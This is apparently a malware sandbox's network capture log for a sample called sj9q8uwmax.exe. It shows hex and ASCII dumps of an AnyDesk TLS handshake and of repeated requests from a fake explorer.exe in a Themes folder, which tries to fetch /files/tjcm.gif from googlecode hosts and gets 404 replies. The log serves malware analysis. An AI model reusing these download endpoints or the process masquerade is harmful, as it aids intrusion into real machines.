67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:58:35.122762918 CEST	9382	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.5	49901	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:39.042984962 CEST	9390	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd01.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:58:39.070574999 CEST	9391	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:58:39 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:58:39.070605040 CEST	9392	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49810	49.12.130.236	80	C:\Users\user\Desktop\sj9q8uwmax.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:27.582989931 CEST	1838	OUT	Data Raw: 16 03 01 01 0c 01 00 01 08 03 03 a4 98 88 a3 62 4e f7 e1 db a4 e6 f9 be 7a 64 23 52 85 89 73 8a 41 e7 fd b6 b2 6e c0 d5 b9 4f c3 00 00 6e c0 30 c0 2c c0 28 c0 24 c0 14 c0 0a 00 a5 00 a3 00 a1 00 9f 00 6b 00 6a 00 69 00 68 00 39 00 38 00 37 00 36 Data Ascii: bNzd#RsAnOn0,($kjih98762.*&=5/+'#g@?>32101-)%</q#
Jul 16, 2022 23:57:27.611453056 CEST	1849	IN	Data Raw: 16 03 03 00 57 02 00 00 53 03 03 62 d3 34 47 99 c4 80 a7 3f c8 48 7e 47 f2 0c 1c f5 1b 57 61 9e 3b 4f 3a 44 4f 57 4e 47 52 44 01 20 2f e7 45 4d e6 4e 7d 85 1d ba ef bb 0a 31 d0 b0 0d d3 75 21 78 0e 25 97 07 6d f5 79 f9 19 4a 4e c0 2c 00 00 0b ff Data Ascii: WSb4G?H~GWa;O:DOWNGRD /EMN}1u!x%myJN,C0?0'0vtS$0*H0H10UAnyNet Root CA1 0Uphilandro Software GmbH10UDE0181118021423Z281115021
Jul 16, 2022 23:57:27.611495018 CEST	1851	IN	Data Raw: e0 cd 68 3b 6a 87 6c a6 0d e7 d8 bd 61 df 56 6b 2a e1 1c 2b f5 9f bf 85 dd 8c 5b 06 1e 71 7f ba 4a a6 40 b0 77 17 ea 2c 3f 5b 94 14 85 2e ad 11 61 ab 88 f6 01 bb b3 47 6b e2 81 18 f1 8e 39 e6 d8 7b 0c 63 86 83 ac 70 84 75 27 2d 35 3d 7b 7b a8 ce Data Ascii: h;jlaVk*+[qJ@w,?[.aGk9{cpu'-5={{Hy8-&~K2vf/bj@kXScuxI#ph3/L^}a}4AkP+g_R4gs@lo67Jv"rR}uMU#[~.K_eCL/3
Jul 16, 2022 23:57:27.631666899 CEST	1852	OUT	Data Raw: 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 82 02 a8 30 82 01 90 02 01 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 19 31 17 30 15 06 03 55 04 03 0c 0e 41 6e 79 44 65 73 6b 20 43 6c 69 65 6e 74 30 20 17 0d 32 32 30 37 31 37 30 36 35 37 Data Ascii: 000H010UAnyDesk Client0 220717065706Z20720704065706Z010UAnyDesk Client0"0H0uaq4_8[_\|_,zN+i/q)NU*E:uFQ[Z+
Jul 16, 2022 23:57:27.659316063 CEST	1852	IN	Data Raw: 15 03 03 00 02 02 2d Data Ascii: -

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49820	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:29.528261900 CEST	1981	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd01.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:57:29.558214903 CEST	1984	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:57:29 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:57:29.558530092 CEST	1984	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49832	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:33.892160892 CEST	2206	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd02.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:57:33.918724060 CEST	2207	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:57:33 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
